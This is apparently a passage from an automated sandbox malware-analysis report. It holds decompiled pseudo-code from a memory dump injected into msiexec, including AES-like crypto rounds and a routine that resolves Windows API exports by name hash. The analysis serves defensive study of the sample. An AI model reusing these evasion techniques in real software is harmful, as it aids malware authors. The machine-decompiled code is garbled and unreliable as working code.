				_push(_t413);
				r10d =  *(__rcx + 8);
				asm("rol eax, 0x8");
				asm("inc ecx");
				_t464 = __r8;
				_t462 = (__r10 & _t413 | __rax) ^ __rax;
				r9d =  *(__rcx + 4);
				asm("rol eax, 0x8");
				asm("inc ecx");
				_t456 = (__r9 & _t413 | __rax) ^ __rax;
				r8d =  *(__rcx + 0xc);
				asm("rol eax, 0x8");
				asm("inc ecx");
				asm("rol eax, 0x8");
				asm("ror edx, 0x8");
				_t424 = (__rdx & _t413 | __rax) ^ __rax;
				_t350 =  *(0x4fabf4 + __rcx * 4) ^  *(0x5010d3 + (_t462 >> 8) * 4) ^  *(0x50ad53 + (_t424 >> 0x18) * 4) ^  *(0x2dbccff7 + (_t424 >> 0x18) * 4) ^  *(__r8 + 0x10);
				r13d =  *(0x5010d3 + __rcx * 4);
				r13d = r13d ^  *(0x4fabf4 + (_t462 >> 0x10) * 4);
				_t371 = _t456 >> 0x18;
				r13d = r13d ^  *(0x50ad53 + _t371 * 4);
				r13d = r13d ^  *(0x2dbccff7 + _t371 * 4);
				r13d = r13d ^  *(__r8 + 0x14);
				_t432 = __r8 + 0x20;
				_t425 = _t424 >> 0x10;
				_t377 = _t462 >> 0x18;
				_t449 = ((__r8 & _t413 | __rax) ^ __rax) >> 0x18;
				 *(_t444 + 0x60) = _t432;
				_t457 = _t456 >> 8;
				_t261 =  *(0x4fabf4 + __rcx * 4) ^  *(0x5010d3 + (_t424 >> 8) * 4) ^  *(0x50ad53 + _t377 * 4) ^  *(0x2dbccff7 + _t377 * 4) ^  *(__r8 + 0x18);
				_t271 =  *(0x4fabf4 + __rcx * 4) ^  *(0x5010d3 + _t377 * 4) ^  *(0x50ad53 + (((__r8 & _t413 | __rax) ^ __rax) >> 0x18) * 4) ^  *(0x2dbccff7 + _t377 * 4) ^  *(__r8 + 0x1c);
				_t186 = ( *(__r8 + 0xf0) >> 1) - 1;
				 *((intOrPtr*)(_t444 + 0x48)) = _t186;
				if(_t186 != 0) {
					do {
						r10d = _t271;
						r8d = _t261;
						r9d = _t350;
						_t389 = _t377 >> 0x10 >> 8 >> 0x18;
						_t432 = _t432 ^ __rcx ^ __rcx ^ __rcx ^ _t389;
						_t392 = _t389 >> 0x10 >> 8 >> 0x18;
						_t419 = _t413 ^ __rcx ^ __rcx ^ __rcx ^ _t392;
						_t393 = _t392 >> 0x10;
						_t457 = _t457 >> 0x18;
						r11d =  *(0x4fabf4 + _t393 * 4);
						_t395 = _t393 >> 8 >> 0x18;
						_t468 = _t464 ^ __rcx ^ __rcx ^ __rcx ^ _t395;
						_t452 =  *(_t444 + 0x60);
						_t430 = _t425 >> 0x00000010 ^ __rcx ^ _t395 ^ __rcx ^ _t395;
						_t350 =  *(0x5010d3 + __rcx * 4) ^  *(0x4fabf4 + (_t419 >> 0x10) * 4) ^  *(0x50ad53 + (_t430 >> 0x18) * 4) ^  *(0x2dbccff7 + (_t430 >> 0x18) * 4) ^  *(_t452 + 0x10);
						r13d =  *(0x4fabf4 + __rcx * 4);
						r13d = r13d ^  *(0x5010d3 + (_t468 >> 8) * 4);
						_t407 = _t419 >> 0x18;
						r13d = r13d ^  *(0x50ad53 + _t407 * 4);
						r13d = r13d ^  *(0x2dbccff7 + _t407 * 4);
						r13d = r13d ^  *(_t452 + 0x14);
						_t425 = _t430 >> 0x10;
						_t464 = _t468 >> 0x18;
						_t377 = _t432 >> 0x18;
						_t413 = _t419 >> 8;
						 *(_t444 + 0x58) =  *(0x4fabf4 + __rcx * 4) ^  *(0x5010d3 + (_t430 >> 8) * 4) ^  *(0x50ad53 + _t377 * 4) ^  *(0x2dbccff7 + _t377 * 4) ^  *(_t452 + 0x18);
						_t261 =  *(_t444 + 0x58);
						_t271 =  *(0x4fabf4 + __rcx * 4) ^  *(0x5010d3 + _t377 * 4) ^  *(0x50ad53 + _t464 * 4) ^  *(0x2dbccff7 + _t377 * 4) ^  *(_t452 + 0x1c);
						_t449 = _t452 + 0x20;
						_t122 = _t444 + 0x48;
						 *_t122 =  *((intOrPtr*)(_t444 + 0x48)) - 1;
						 *(_t444 + 0x60) = _t449;
					} while ( *_t122 != 0);
					_t432 = _t449;
				}
				r10d = _t271;
				_t378 = _t377 >> 8;
				r8d = _t350;
				r11d = _t261;
				_t414 =  *((intOrPtr*)(_t444 + 0x50));
				_t379 = _t378 >> 0x10;
				r9d = r13d;
				_t380 = _t379 >> 0x18;
				asm("rol edx, 0x8");
				asm("ror eax, 0x8");
				 *_t414 = ( *(0x50bd30 + _t378 * 4) & 0x0000ff00 ^  *(0x50c160 + _t379 * 4) & 0x00ff0000 ^  *(0x50c560 + _t380 * 4) & 0xff000000 ^  *(0x50cd60 + _t380 * 4) & 0x000000ff ^  *_t432) & 0xff00ff00 | ( *(0x50bd30 + _t378 * 4) & 0x0000ff00 ^  *(0x50c160 + _t379 * 4) & 0x00ff0000 ^  *(0x50c560 + _t380 * 4) & 0xff000000 ^  *(0x50cd60 + _t380 * 4) & 0x000000ff ^  *_t432) & 0x00ff00ff;
				_t381 = _t380 >> 8;
				_t382 = _t381 >> 0x10;
				_t383 = _t382 >> 0x18;
				asm("rol edx, 0x8");
				asm("ror eax, 0x8");
				_t414[1] = ( *(0x50bd30 + _t381 * 4) & 0x0000ff00 ^  *(0x50c160 + _t382 * 4) & 0x00ff0000 ^  *(0x50c560 + _t383 * 4) & 0xff000000 ^  *(0x50cd60 + _t383 * 4) & 0x000000ff ^  *(_t432 + 4)) & 0xff00ff00 | ( *(0x50bd30 + _t381 * 4) & 0x0000ff00 ^  *(0x50c160 + _t382 * 4) & 0x00ff0000 ^  *(0x50c560 + _t383 * 4) & 0xff000000 ^  *(0x50cd60 + _t383 * 4) & 0x000000ff ^  *(_t432 + 4)) & 0x00ff00ff;
				_t384 = _t383 >> 8;
				_t385 = _t384 >> 0x10;
				_t386 = _t385 >> 0x18;
				asm("ror eax, 0x8");
				asm("rol edx, 0x8");
				_t414[2] = ( *(0x50bd30 + _t384 * 4) & 0x0000ff00 ^  *(0x50c160 + _t385 * 4) & 0x00ff0000 ^  *(0x50c560 + _t386 * 4) & 0xff000000 ^  *(0x50cd60 + _t386 * 4) & 0x000000ff ^  *(_t432 + 8)) & 0xff00ff00 | ( *(0x50bd30 + _t384 * 4) & 0x0000ff00 ^  *(0x50c160 + _t385 * 4) & 0x00ff0000 ^  *(0x50c560 + _t386 * 4) & 0xff000000 ^  *(0x50cd60 + _t386 * 4) & 0x000000ff ^  *(_t432 + 8)) & 0x00ff00ff;
				asm("rol edx, 0x8");
				asm("ror eax, 0x8");
				_t221 = ( *(0x50bd30 + _t386 * 4) & 0x0000ff00 ^  *(0x50c160 + _t386 * 4) & 0x00ff0000 ^  *(0x50c560 + (_t462 >> 0x18) * 4) & 0xff000000 ^  *(0x50cd60 + _t386 * 4) & 0x000000ff ^  *(_t432 + 0xc)) & 0xff00ff00 | ( *(0x50bd30 + _t386 * 4) & 0x0000ff00 ^  *(0x50c160 + _t386 * 4) & 0x00ff0000 ^  *(0x50c560 + (_t462 >> 0x18) * 4) & 0xff000000 ^  *(0x50cd60 + _t386 * 4) & 0x000000ff ^  *(_t432 + 0xc)) & 0x00ff00ff;
				_t414[3] = _t221;
				return _t221;
			}

0x004f9e80
0x004f9e85
0x004f9e9b
0x004f9ea5
0x004f9eb4
0x004f9eb8
0x004f9eed
0x004f9ef3
0x004f9ef6
0x004f9efe
0x004f9f0c
0x004f9f12
0x004f9f15
0x004f9f1d
0x004f9f32
0x004f9f3a
0x004f9f46
0x004f9f7a
0x004f9f8f
0x004f9f93
0x004f9f9a
0x004f9f9e
0x004f9fa5
0x004f9fac
0x004f9fc8
0x004f9fcc
0x004f9fd3
0x004f9fd7
0x004f9fde
0x004f9fef
0x004f9ff7
0x004fa015
0x004fa01b
0x004fa01e
0x004fa022
0x004fa030
0x004fa030
0x004fa03c
0x004fa03f
0x004fa063
0x004fa07c
0x004fa09f
0x004fa0b8
0x004fa0be
0x004fa0c5
0x004fa0c9
0x004fa0dd
0x004fa0fd
0x004fa10b
0x004fa129
0x004fa15d
0x004fa172
0x004fa176
0x004fa17d
0x004fa181
0x004fa188
0x004fa18f
0x004fa1a4
0x004fa1ac
0x004fa1b6
0x004fa1c1
0x004fa1cd
0x004fa1d4
0x004fa1ee
0x004fa1f2
0x004fa1f6
0x004fa1f6
0x004fa1fb
0x004fa1fb
0x004fa206
0x004fa206
0x004fa209
0x004fa20e
0x004fa215
0x004fa218
0x004fa21b
0x004fa22d
0x004fa234
0x004fa245
0x004fa268
0x004fa26b
0x004fa278
0x004fa27d
0x004fa28b
0x004fa2a7
0x004fa2c6
0x004fa2c9
0x004fa2d6
0x004fa2dc
0x004fa2ea
0x004fa304
0x004fa325
0x004fa328
0x004fa33d
0x004fa37d
0x004fa380
0x004fa38b
0x004fa38d
0x004fa39c

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 00507EC0, Relevance: .2, Instructions: 224
Crypto

C-Code - Quality: 64%

			E00507EC0(void* __ecx, long long __rbx, void* __rdx, long long __rsi, void* __r9, long long __r12) {
				intOrPtr _t55;
				intOrPtr _t68;
				intOrPtr _t73;
				intOrPtr _t96;
				long long* _t130;
				long long _t132;
				long long _t152;
				long long _t153;
				long long _t201;
				long long _t204;
				long long _t206;
				long long _t210;
				void* _t215;
				void* _t216;
				long long _t225;
				long long* _t228;

				_t225 = __r12;
				 *((long long*)(_t215 + 0x20)) = __rbx;
				_t216 = _t215 - 0x1a0;
				r14d = __ecx;
				r8d = 0x138;
				E004F5A30();
				 *((long long*)(_t216 + 0x30)) =  *((intOrPtr*)(_t216 + 0x1f0));
				 *((long long*)(_t216 + 0x28)) =  *((intOrPtr*)(_t216 + 0x1e8));
				 *((long long*)(_t216 + 0x20)) =  *((intOrPtr*)(_t216 + 0x1e0));
				_t55 =  *0x005028E0();
				if(_t55 != 0) {
					 *((long long*)(_t216 + 0x1c0)) = _t210;
					 *((long long*)(_t216 + 0x1c8)) = __rsi;
					_t206 =  *((intOrPtr*)(_t216 + 0x1f8));
					 *((long long*)(_t216 + 0x1d0)) = __r12;
					r12d = 0;
					_t96 = r12d;
					 *((intOrPtr*)(_t216 + 0x70)) = r12d;
					L2:
					L2:
					if(_t206 == 0) {
						 *0x4c02cc89();
						 *0x4c02cc89();
						 *0x00508290();
						 *0x00509910();
						 *0x00503560();
						r8d = 0;
						_t130 = 0x502d10;
						 *0x7769b34c();
					} else {
						_t130 = 0x502d30;
						 *0xFFFFFFFFF48F9E4A();
						_t206 = _t225;
					}
					if(_t96 == 0) {
						r9d = 0;
						_t130 =  *0x004F4923 + 0x194349;
						 *((intOrPtr*)(_t216 + 0x28)) = 1;
						 *((long long*)(_t216 + 0x20)) = _t225;
						 *_t130();
					}
					 *((intOrPtr*)(_t216 + 0x70)) = r12d;
					if(r14d == 0) {
						goto L9;
					}
					_t130 =  *0x004F2A3A - 0x4acdf8f6;
					 *_t130();
					_t96 = _t96 + 1;
					if(_t96 < 6) {
						goto L2;
					}
					L9:
					 *((long long*)(_t216 + 0x50)) = _t225;
					 *0xFFFFFFFFFA5664D3();
					 *((long long*)(_t216 + 0x40)) = _t225;
					 *((long long*)(_t216 + 0x38)) = _t216 + 0x50;
					_t132 =  *0x004F3A6A - 0x28ddcfb6;
					 *((long long*)(_t216 + 0x30)) = _t225;
					r9d = 0;
					 *((intOrPtr*)(_t216 + 0x28)) = 0x102;
					r8d = 0;
					 *((intOrPtr*)(_t216 + 0x20)) = r12d;
					dil =  *_t132() == 0;
					if(_t130 != 0) {
						_t132 = 0x5043d0;
						 *0x70f46da9();
					}
					if(dil != 0) {
						 *0x00504260();
						_t201 = _t132;
						 *((long long*)(0x504260))();
						_t152 = _t132;
						 *((long long*)(0x504260))();
						_t228 =  *0x004F39B3 - 0x5dd8db43;
						_t68 =  *0xFFFFFFFF8F74ACF1();
						r9d = 1;
						 *((intOrPtr*)(_t216 + 0x28)) = _t68;
						r8d = 0;
						 *((long long*)(_t216 + 0x20)) = _t152;
						 *_t228();
						if(_t132 != 0) {
							_t132 = 0x5043d0;
							 *((long long*)(0x5043d0))();
						}
						if(_t152 != 0) {
							_t132 = 0x5043d0;
							 *((long long*)(0x5043d0))();
						}
						if(_t201 != 0) {
							_t132 = 0x5043d0;
							 *((long long*)(0x5043d0))();
						}
						 *((long long*)(0x504260))();
						_t153 = _t132;
						 *((long long*)(0x504260))();
						_t204 = _t132;
						 *((long long*)(0x504260))();
						_t73 =  *0x00500BE0();
						r9d = 1;
						 *((intOrPtr*)(_t216 + 0x28)) = _t73;
						r8d = 0;
						 *((long long*)(_t216 + 0x20)) = _t204;
						 *_t228();
						if(_t132 != 0) {
							 *((long long*)(0x5043d0))();
						}
						if(_t204 != 0) {
							 *((long long*)(0x5043d0))();
						}
						if(_t153 != 0) {
							 *((long long*)(0x5043d0))();
						}
						 *((long long*)( *0x004F3AC3 - 0x61b81266))();
					}
					 *0x00503570();
					_t55 = 1;
				}
				return _t55;
			}

0x00507ec0
0x00507ec0
0x00507eca
0x00507ed7
0x00507edc
0x00507eea
0x00507efe
0x00507f17
0x00507f2d
0x00507f32
0x00507f37
0x00507f3d
0x00507f4d
0x00507f55
0x00507f5d
0x00507f65
0x00507f68
0x00507f6b
0x00000000
0x00507f70
0x00507f78
0x00507fa7
0x00507fb3
0x00507fbf
0x00507fd6
0x00507fef
0x00507ff8
0x00507ffb
0x00508009
0x00507f7a
0x00507f84
0x00507f8d
0x00507f8f
0x00507f8f
0x0050800d
0x00508016
0x00508021
0x00508027
0x00508033
0x00508038
0x00508038
0x0050803a
0x00508042
0x00000000
0x00000000
0x00508050
0x00508056
0x00508058
0x0050805d
0x00000000
0x00000000
0x00508063
0x0050806a
0x00508084
0x0050808a
0x0050809b
0x005080a0
0x005080a6
0x005080ab
0x005080ae
0x005080b6
0x005080bc
0x005080d3
0x005080da
0x005080e2
0x005080e8
0x005080e8
0x005080ed
0x00508104
0x0050810a
0x0050810d
0x00508117
0x00508121
0x0050813f
0x00508146
0x0050814e
0x00508154
0x00508158
0x0050815e
0x00508163
0x00508169
0x00508171
0x00508177
0x00508177
0x0050817c
0x00508184
0x0050818a
0x0050818a
0x0050818f
0x00508197
0x0050819d
0x0050819d
0x005081b0
0x005081b6
0x005081b9
0x005081c3
0x005081cd
0x005081d6
0x005081de
0x005081e4
0x005081e8
0x005081ee
0x005081f3
0x005081f9
0x00508207
0x00508207
0x0050820c
0x0050821a
0x0050821a
0x0050821f
0x0050822b
0x0050822b
0x00508240
0x00508240
0x00508255
0x0050825f
0x0050826c
0x00508288

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 00503560, Relevance: .2, Instructions: 219
Crypto

C-Code - Quality: 78%

			E00503560(void* __rcx, void* __rdx, short* __r8, long long __r13) {
				void* _t75;
				void* _t78;
				signed int _t81;
				intOrPtr _t92;
				signed long long _t109;
				signed long long _t116;
				signed long long _t120;
				long long _t129;
				short* _t131;
				short* _t132;
				long long _t134;
				long long* _t165;
				void* _t168;
				void* _t171;
				long long _t173;
				void* _t177;
				void* _t186;
				void* _t187;
				void* _t195;
				short* _t201;
				long long _t203;

				_t203 = __r13;
				_t134 =  *((intOrPtr*)(__rcx + 0x130));
				 *((long long*)(_t186 + 8)) = _t134;
				_push(_t173);
				_t187 = _t186 - 0x260;
				_t109 = 0;
				 *(_t187 + 0x2b8) = 0x4000;
				_t201 = __r8;
				 *((long long*)(_t187 + 0x50)) = _t173;
				 *((intOrPtr*)(_t187 + 0x40)) = 0xffffffff;
				_t129 = _t134;
				_t116 = _t187 + 0x50;
				 *(_t187 + 0x20) = _t116;
				r8d = 0;
				_t75 =  *0xFFFFFFFFE84114BD();
				if(_t75 != 5) {
					L9:
					if(_t75 == 0) {
						 *((long long*)(_t187 + 0x2a8)) = _t203;
						 *0xFFFFFFFFA761C893();
						_t120 = 0x4fff30;
						_t165 = 0x4f5da0;
						 *((long long*)(_t187 + 0x48)) = 0xffffffffc621c685;
						 *((long long*)(_t187 + 0x58)) = 0x53f1696f;
						asm("o16 nop [eax+eax]");
						while(1) {
							r8d =  *(_t187 + 0x2b8);
							 *_t120();
							_t195 = _t187 + 0x2b8;
							_t78 =  *_t165();
							if(_t78 != 0) {
								break;
							}
							r15d = _t109;
							_t120 =  *((intOrPtr*)(_t187 + 0x48));
							if( *((intOrPtr*)(_t187 + 0x40)) > _t78) {
								do {
									_t177 = (_t120 + _t120 * 2 << 4) + 0x4ffcb0;
									if( *((intOrPtr*)(_t177 + 8)) == 3) {
										if(_t201 != 0) {
											_t131 = _t201;
											 *0xFFFFFFFFFCE44FA4();
											_t168 = _t201 + 2 + _t120 * 2;
											if( *_t201 != 0) {
												asm("o16 nop [eax+eax]");
												while(1) {
													r9d = 0;
													if( *0x004F5D50() == 0) {
														goto L23;
													}
													 *0x00500C00();
													_t120 = _t120 + 1;
													_t131 = _t168 + _t120 * 2;
													 *((long long*)(0x500c00))();
													_t56 = _t120 + 1; // 0x1
													_t168 = _t131 + _t56 * 2;
													if( *_t131 != 0) {
														continue;
													}
													goto L23;
												}
											}
											L23:
											_t129 =  *((intOrPtr*)(_t187 + 0x2a0));
										}
										r9d = 0;
										 *((long long*)(_t187 + 0x30)) = _t129;
										_t120 = 0x503ba0;
										 *((long long*)(_t187 + 0x28)) = 0x422608b9;
										 *(_t187 + 0x20) = 0;
										_t64 = _t195 + 1; // 0x1
										r8d = _t64;
										 *0x004FF350();
									}
									if(( *(_t177 + 0xc) & 0x00000002) != 0) {
										_t120 = 0x503eb0;
										 *0xFFFFFFFFF53B04C3();
									}
									r15d = r15d + 1;
								} while (r15d <  *((intOrPtr*)(_t187 + 0x40)));
								_t120 =  *((intOrPtr*)(_t187 + 0x48));
								_t109 = 0;
								_t165 =  *((intOrPtr*)(_t187 + 0x58));
							}
						}
						if(0x4ffcb0 != 0) {
							 *0x004FFE30();
						}
						_t81 = 0 |  *0x004F5CA0() == 0x00000000;
					} else {
						goto L10;
					}
				} else {
					if(__r8 == 0) {
						L10:
						_t92 =  *((long long*)( *0x004F2B93 + 0x30712b))();
						 *((intOrPtr*)(_t187 + 0x48)) = _t92;
						if(_t92 == 0x4b8) {
							r8d = 0x100;
							E004F5A30();
							r8d = 0x100;
							E004F5A30();
							 *(_t187 + 0x20) = 0x100;
							r8d = 0x100;
							 *0x09CE598D();
						}
						goto L12;
					} else {
						_t132 = __r8;
						 *0xFFFFFFFFAABF9FC2();
						_t171 = __r8 + 2 + _t116 * 2;
						if( *__r8 == 0) {
							L12:
							_t81 = 0;
						} else {
							while(1) {
								r9d = 0;
								if( *((long long*)(0x4f5d50))() == 0) {
									break;
								}
								 *((long long*)(0x500c00))();
								_t116 = _t116 + 1;
								_t132 = _t171 + _t116 * 2;
								 *((long long*)(0x500c00))();
								_t18 = _t116 + 1; // 0x1
								_t171 = _t132 + _t18 * 2;
								if( *_t132 != 0) {
									continue;
								} else {
									_t81 = 0;
								}
								goto L32;
							}
							r8d = 0;
							 *(_t187 + 0x20) = _t187 + 0x50;
							_t75 =  *0x004F5C50();
							_t129 =  *((intOrPtr*)(_t187 + 0x2a0));
							_t109 = 0;
							goto L9;
						}
					}
				}
				L32:
				return _t81;
			}

0x00503560
0x00503560
0x00503eb0
0x00503eb7
0x00503ebf
0x00503ec6
0x00503ec8
0x00503ed3
0x00503ed6
0x00503ede
0x00503ee6
0x00503ee9
0x00503ef1
0x00503efd
0x00503f0d
0x00503f13
0x00503fbc
0x00503fbe
0x0050404b
0x00504058
0x0050406b
0x00504071
0x00504078
0x0050407d
0x00504086
0x00504090
0x00504090
0x0050409d
0x005040a4
0x005040b4
0x005040b8
0x00000000
0x00000000
0x005040c2
0x005040c5
0x005040ca
0x005040d0
0x005040db
0x005040e2
0x005040eb
0x005040fe
0x00504101
0x0050410e
0x00504112
0x00504126
0x00504130
0x00504130
0x00504141
0x00000000
0x00000000
0x00504146
0x00504148
0x0050414b
0x00504152
0x00504158
0x0050415c
0x00504160
0x00000000
0x00000000
0x00000000
0x00504160
0x00504130
0x00504162
0x00504162
0x00504162
0x00504175
0x00504178
0x0050417d
0x0050418a
0x0050419d
0x005041a6
0x005041a6
0x005041aa
0x005041aa
0x005041b5
0x005041c1
0x005041cd
0x005041cd
0x005041cf
0x005041d2
0x005041dd
0x005041e2
0x005041e4
0x005041e4
0x005040ca
0x005041f1
0x00504204
0x00504204
0x0050422a
0x00000000
0x00000000
0x00000000
0x00503f19
0x00503f1c
0x00503fc0
0x00503fcd
0x00503fcf
0x00503fd8
0x00503fe4
0x00503fea
0x00503ff6
0x00503ffc
0x00504008
0x0050401b
0x0050402e
0x0050402e
0x00000000
0x00503f22
0x00503f33
0x00503f36
0x00503f43
0x00503f47
0x00504030
0x00504030
0x00503f4d
0x00503f60
0x00503f60
0x00503f70
0x00000000
0x00000000
0x00503f75
0x00503f77
0x00503f7a
0x00503f81
0x00503f87
0x00503f8b
0x00503f8f
0x00000000
0x00503f91
0x00503f91
0x00503f91
0x00000000
0x00503f8f
0x00503f98
0x00503fa3
0x00503faf
0x00503fb2
0x00503fba
0x00000000
0x00503fba
0x00503f47
0x00503f1c
0x0050422d
0x0050423e

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 005021B0, Relevance: .2, Instructions: 169
Crypto

C-Code - Quality: 25%

			E005021B0(long long __rbx, signed long long __rcx, unsigned int __rdx, long long __rdi, signed long long __rsi, signed int __r9, signed int _a8, signed int _a16, signed int _a24, long long _a32) {
				long long _v16;
				long long _v24;
				signed char _v152;
				long long _v168;
				signed long long _v176;
				signed char* _v184;
				signed int _t52;
				signed int _t53;
				signed int _t59;
				signed int _t61;
				void* _t64;
				signed int _t65;
				signed int _t74;
				signed short _t75;
				signed int _t76;
				long long _t83;
				signed long long _t85;
				intOrPtr _t87;
				signed long long _t89;
				signed long long _t90;
				signed long long _t92;
				signed char* _t94;
				signed long long _t95;
				signed int* _t96;
				signed char* _t100;
				signed long long _t101;
				signed char* _t105;
				signed char* _t106;
				signed long long _t108;
				char* _t110;
				signed long long _t111;
				signed int _t117;
				void* _t118;

				_t117 = __r9;
				_t108 = __rsi;
				_t101 = __rdx;
				_t95 = __rcx;
				_a24 = r8d;
				_a16 = __rdx;
				_t111 = __rcx;
				if(__rcx != 0) {
					__eflags =  *__rcx - 0x5a4d;
					if( *__rcx != 0x5a4d) {
						goto L1;
					} else {
						_t83 =  *((intOrPtr*)(__rcx + 0x3c)) + 0x18 + __rcx;
						_v168 = _t83;
						_t52 =  *(_t83 + 0x70);
						__eflags = _t52;
						if(_t52 == 0) {
							goto L1;
						} else {
							_a32 = __rbx;
							_v16 = __rsi;
							_t76 = 0;
							_v24 = __rdi;
							_t105 = _t83 + __rcx;
							_v184 = _t105;
							_t85 = __rdx >> 0x10;
							__eflags = _t52;
							if(_t52 != 0) {
								__eflags = r9b & 0x00000001;
								if((r9b & 0x00000001) == 0) {
									_t100 = __rdx;
									do {
										_t59 =  *_t100 & 0x000000ff;
										_t100 =  &(_t100[1]);
										__eflags = _t59;
									} while (_t59 != 0);
									__eflags = _t64 - r8d;
									_t95 = __rdx;
									_t52 = E004FD4F0(__rbx, __rdx, __rdx, __rdx);
									_a16 = _t52;
								}
								r10d = _t105[0x18];
								_a8 = r10d;
								__eflags = r10d;
								if(r10d != 0) {
									_t118 = 0x513120;
									_v176 = _t95;
									asm("o16 nop [eax+eax]");
									do {
										_t95 = _t95 + _t85 * 4;
										_t75 =  *(_t95 + _t111);
										_t105 =  &(_t105[_t111]);
										__eflags = _t105;
										_t94 = _t105;
										do {
											_t52 =  *_t94 & 0x000000ff;
											_t94 =  &(_t94[1]);
											__eflags = _t52;
										} while (_t52 != 0);
										__eflags =  *0x513114 - _t52; // 0x1
										if(__eflags == 0) {
											_t52 = E004FD440();
											r10d = _a8;
											_t118 = 0x513120;
										}
										r8d = r8d | 0xffffffff;
										_t61 = _t61 - _t75 - 1;
										__eflags = _t61;
										r9d = _t61;
										if(_t61 != 0) {
											do {
												_t105 =  &(_t105[1]);
												_t95 = _t95 ^ _t85;
												_t52 = r8d >> 8;
												r8d =  *(_t118 + _t101 * 4);
												r8d = r8d ^ _t52;
												_t117 = _t117 - 1;
												__eflags = _t117;
											} while (_t117 != 0);
										}
										r8d =  !r8d;
										__eflags = _a16 - r8d;
										if(_a16 == r8d) {
											_t106 = _v184;
											__eflags = 0;
											_t52 =  *(_t95 + _t111) & 0x0000ffff;
											goto L36;
										} else {
											goto L20;
										}
										goto L23;
										L20:
										_t95 = _v176;
										_t76 = _t76 + 1;
										__eflags = _t76 - r10d;
									} while (_t76 < r10d);
									__eflags = 0;
								}
								goto L22;
							} else {
								_t52 = (r8w & 0xffffffff) - _t105[0x10];
								L36:
								__eflags = _t52 - 0xffffffff;
								if(_t52 == 0xffffffff) {
									L22:
									_t106 = _v184;
									_t92 = _t108;
								} else {
									_t92 =  &(_t94[_t111]);
								}
								goto L23;
							}
							L23:
							__eflags = _t92 - _t106;
							if(_t92 >= _t106) {
								_t87 = _v168;
								_t52 =  *(_t87 + 0x74);
								__eflags = _t92 - _t87 + _t106;
								if(_t92 < _t87 + _t106) {
									_t53 =  *_t92 & 0x000000ff;
									_t32 =  &_v152; // 0x9b102e5d
									_t96 = _t32;
									__eflags = _t53;
									if(_t53 != 0) {
										asm("o16 nop [eax+eax]");
										do {
											_t92 = _t92 + 1;
											 *_t96 = _t53;
											_t96 =  &(_t96[0]);
											_t53 =  *_t92 & 0x000000ff;
											__eflags = _t53;
										} while (_t53 != 0);
									}
									_t52 =  *_t92 & 0x000000ff;
									_t92 = _t108;
									 *_t96 = _t52;
									_t33 =  &_v152; // 0x9b102e5d
									_t89 = _t33;
									_t65 = _v152 & 0x000000ff;
									while(1) {
										__eflags = _t65 - 0x2e;
										if(_t65 == 0x2e) {
											break;
										}
										_t65 =  *(_t89 + 1) & 0x000000ff;
										_t89 = _t89 + 1;
										__eflags = _t65;
										if(_t65 != 0) {
											continue;
										}
										break;
									}
									__eflags =  *_t89 - 0x2e;
									_t110 =  ==  ? _t89 : _t108;
									__eflags = _t110;
									if(_t110 != 0) {
										_t74 = _a24;
										 *_t110 = 0;
										_t90 = _t89 ^  *0x513540;
										r8d = 0;
										_t52 =  *_t90();
										__eflags = _t90;
										if(_t90 != 0) {
											_t38 = _t110 + 1; // 0x1
											r9d = 0;
											__eflags = r9d;
											r8d = _t74;
											_t52 = E005021B0(_t92, _t90, _t38, _t106, _t110, _t117);
											_t92 = _t90;
										}
									}
								}
							}
							return _t52;
						}
					}
				} else {
					L1:
					return 0;
				}
			}

0x005021b0
0x005021b0
0x005021b0
0x005021b0
0x005021b0
0x005021b5
0x005021c5
0x005021cb
0x005021dd
0x005021e0
0x00000000
0x005021e2
0x005021ea
0x005021ed
0x005021f2
0x005021f5
0x005021f7
0x00000000
0x005021f9
0x005021f9
0x00502201
0x00502209
0x0050220b
0x00502213
0x0050221a
0x0050221f
0x00502223
0x00502226
0x00502234
0x00502238
0x0050223a
0x00502240
0x00502240
0x00502243
0x00502246
0x00502246
0x0050224a
0x00502250
0x00502253
0x00502258
0x00502258
0x0050225f
0x00502263
0x0050226b
0x0050226e
0x00502277
0x0050227e
0x00502287
0x00502290
0x00502292
0x00502296
0x00502299
0x00502299
0x0050229c
0x005022a0
0x005022a0
0x005022a3
0x005022a6
0x005022a6
0x005022aa
0x005022b0
0x005022b2
0x005022b7
0x005022bf
0x005022bf
0x005022c6
0x005022cc
0x005022cc
0x005022cf
0x005022d2
0x005022e0
0x005022e3
0x005022ea
0x005022f0
0x005022f6
0x005022fa
0x005022fd
0x005022fd
0x005022fd
0x005022e0
0x00502303
0x00502306
0x0050230e
0x005023fa
0x00502405
0x00502407
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00502314
0x00502314
0x00502319
0x0050231b
0x0050231b
0x00502324
0x00502324
0x00000000
0x00502228
0x0050222c
0x0050240b
0x0050240b
0x0050240e
0x00502326
0x00502326
0x0050232b
0x00502414
0x00502420
0x00502420
0x00000000
0x0050240e
0x0050232e
0x0050232e
0x00502331
0x00502337
0x0050233c
0x00502342
0x00502345
0x0050234b
0x0050234e
0x0050234e
0x00502353
0x00502355
0x00502357
0x00502360
0x00502360
0x00502363
0x00502365
0x00502368
0x0050236b
0x0050236b
0x00502360
0x0050236f
0x00502372
0x00502375
0x00502377
0x00502377
0x0050237c
0x00502381
0x00502381
0x00502384
0x00000000
0x00000000
0x00502386
0x0050238a
0x0050238d
0x0050238f
0x00000000
0x00000000
0x00000000
0x0050238f
0x00502391
0x00502394
0x00502398
0x0050239b
0x0050239d
0x005023ab
0x005023ae
0x005023b5
0x005023ba
0x005023bc
0x005023bf
0x005023c1
0x005023c5
0x005023c5
0x005023c8
0x005023ce
0x005023d3
0x005023d3
0x005023bf
0x0050239b
0x00502345
0x005023f9
0x005023f9
0x005021f7
0x005021cd
0x005021cd
0x005021d7
0x005021d7

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 004FA3A0, Relevance: .1, Instructions: 134
Crypto

C-Code - Quality: 100%

